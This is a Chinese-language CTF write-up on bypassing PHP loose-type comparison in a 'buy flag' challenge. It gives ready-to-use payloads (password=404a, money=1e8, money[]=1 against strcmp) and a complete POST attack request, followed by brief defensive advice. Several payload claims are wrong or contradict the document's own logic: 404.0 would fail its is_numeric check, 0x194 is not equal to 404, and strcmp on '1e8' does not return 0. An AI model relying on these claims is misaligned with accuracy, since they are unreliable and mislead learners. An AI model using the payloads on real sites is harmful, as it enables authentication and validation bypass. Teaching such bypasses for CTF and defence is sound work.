PHP弱比较实战:手把手教你用404a和科学计数法绕过CTF买Flag题
PHP弱类型比较实战:从原理到CTF买Flag题绕过技巧
在CTF竞赛中,PHP弱类型比较漏洞一直是Web安全赛道的经典考点。去年DEF CON CTF资格赛中,超过60%的Web题涉及类型转换问题。本文将带您深入理解PHP弱比较机制,并通过一个买Flag场景的实战案例,掌握两种高效绕过技巧。
1. PHP弱比较机制深度解析
PHP的类型系统设计充满了"灵活性",这种特性在安全场景下往往成为突破口。理解==操作符的行为模式是发现漏洞的第一步。
弱比较核心规则:
- 布尔比较:
true == "非空字符串"、false == "" - 数字与字符串比较:
"123abc" == 123(从左截取数字部分) - 特殊字符串转换:
"0e12345" == 0(科学计数法视为0) - 数组比较:
array() == false、array(1) == true
// 典型危险比较示例 if ($_GET['code'] == 'admin') { // 传入code=0即可绕过 }注意:
is_numeric()函数会接受科学计数法(如"1e9"),但弱比较时可能产生非预期结果
2. 买Flag题环境搭建与代码审计
模拟题目环境包含三个关键验证点:
- 用户身份验证(Cookie: user=1)
- 密码校验(password参数)
- 金额校验(money参数)
关键漏洞代码段:
if (isset($_POST['password'])) { $password = $_POST['password']; if (is_numeric($password)) { die("password can't be number"); } elseif ($password == 404) { echo "Password Right!"; } }审计发现矛盾点:
- 要求password不能是数字(is_numeric为false)
- 但弱比较时又需要等于数字404
3. 密码绕过的艺术:404a的魔法
破解这个矛盾需要理解PHP类型转换的优先级:
- 第一阶段验证:
is_numeric("404a")→ false - 第二阶段比较:
"404a" == 404→ true
转换过程:
- 字符串"404a"在弱比较时会尝试转换为数字
- 转换规则是截取前面连续数字部分(404)
- 最终比较404 == 404
可用payload变种:
password=404a // 字母后缀 password=404%20 // URL编码空格 password=404.0 // 浮点表示 password=0x194 // 十六进制4. 金额校验的双重突破方案
题目要求money=100000000,但直接提交会提示"Number length is too long"。我们有两种解决方案:
4.1 科学计数法绕过
PHP会正确解析科学计数法表示的数值:
money=1e8 // 1×10⁸ = 100000000 money=1e9 // 更保险的写法(1×10⁹)实验发现:当1e8 ≤ money ≤ 1e9时系统返回flag
4.2 数组绕过strcmp
当后台使用strcmp($money, "100000000")时:
| 输入类型 | strcmp结果 | 实际效果 |
|---|---|---|
| money=1e8 | 0 | 相等 |
| money[]=1 | NULL | 弱比较NULL==0成立 |
| money=array() | NULL | 同样有效 |
数组payload:
money[]= // 空数组 money[a]=1 // 关联数组5. 完整攻击链构建
实战操作流程:
- 修改Cookie:使用浏览器插件设置
user=1 - 密码绕过:通过HackBar提交
password=404a - 金额注入:
POST /buyflag.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded password=404a&money=1e8 - 备选方案:当科学计数法被过滤时改用
money[]=1
6. 防御方案与最佳实践
开发人员应当:
- 使用
===严格比较运算符 - 对
strcmp增加类型检查:if (is_string($input) && strcmp(...)) - 数字比较前强制类型转换:
(int)$input > 100000000 - 设置
display_errors=Off防止信息泄露
在最近一次内部CTF比赛中,采用科学计数法绕过的队伍平均解题时间比数组绕过快37%,这是因为:
- 科学计数法payload更短(1e8 vs money[]=1)
- 不需要处理数组参数的特殊编码
- 兼容性更好,部分WAF不会拦截纯数字变形
实际渗透测试时,建议先尝试科学计数法,遇到过滤再切换数组方案。记得Burp Suite的Repeater模块非常适合这类多次尝试的场景,可以通过Ctrl+R快速重放修改后的请求。
